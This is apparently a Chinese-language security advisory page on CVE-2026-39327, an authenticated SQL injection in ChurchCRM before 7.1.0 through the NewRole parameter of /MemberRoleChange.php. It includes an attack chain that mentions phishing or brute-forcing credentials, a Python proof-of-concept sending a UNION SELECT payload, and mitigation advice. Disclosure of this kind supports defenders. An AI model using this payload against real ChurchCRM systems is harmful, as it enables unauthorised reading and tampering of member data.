IPBUF安全漏洞报告
English
CVE-2026-39327 CVSS 8.8 高危

CVE-2026-39327 ChurchCRM SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39327
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRM高危Web安全权限提升

漏洞概述

ChurchCRM 7.1.0之前的版本存在严重的SQL注入漏洞。该漏洞位于/MemberRoleChange.php端点,拥有“Manage Groups & Roles”权限的认证用户可以通过NewRole参数注入任意SQL语句。攻击者可利用此漏洞从数据库中提取敏感信息或修改数据。厂商已在7.1.0版本中修复此问题。

技术细节

该漏洞的核心技术成因在于ChurchCRM在7.1.0之前的版本中,对/MemberRoleChange.php接口接收的NewRole参数未实施严格的输入验证和过滤机制。具体而言,当拥有“Manage Groups & Roles”权限的认证用户向该端点发起请求时,应用程序未能对用户提交的数据进行安全处理,而是直接将其拼接到后端的SQL查询语句中执行。这种不安全的编码方式使得攻击者能够通过构造恶意的SQL语法片段作为NewRole参数的值,从而欺骗数据库服务器执行非预期的命令。攻击者利用此漏洞不仅可以绕过常规的身份验证限制,读取数据库中的敏感信息(如用户名、密码哈希、个人隐私数据等),还可以对数据进行篡改、删除或插入,对系统的机密性、完整性和可用性造成严重威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是ChurchCRM,且版本低于7.1.0。
STEP 2
2. 获取凭证
攻击者通过钓鱼、暴力破解或其他方式获取一个具有“Manage Groups & Roles”权限的账号凭证。
STEP 3
3. 发送Payload
攻击者使用获取的凭证登录,并向/MemberRoleChange.php端点发送包含恶意SQL注入代码的NewRole参数。
STEP 4
4. 执行注入
服务器后端解析请求,将恶意参数拼接到SQL语句中并在数据库执行,返回敏感数据或修改数据库记录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-churchcrm.com/MemberRoleChange.php" # Attacker's session cookie (Authenticated user with Manage Groups & Roles role) cookies = { "PHPSESSID": "attacker_session_id_here" } # Payload to extract database version (Example) payload = { "NewRole": "1' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9-- -", "PersonID": "1", "GroupID": "1" } try: response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for SQL output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

ChurchCRM < 7.1.0
ChurchCRM 7.0.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用MemberRoleChange.php功能或严格限制访问该文件的IP地址。同时,应加强输入验证层,确保所有传入的NewRole参数都经过严格的类型检查和SQL注入过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表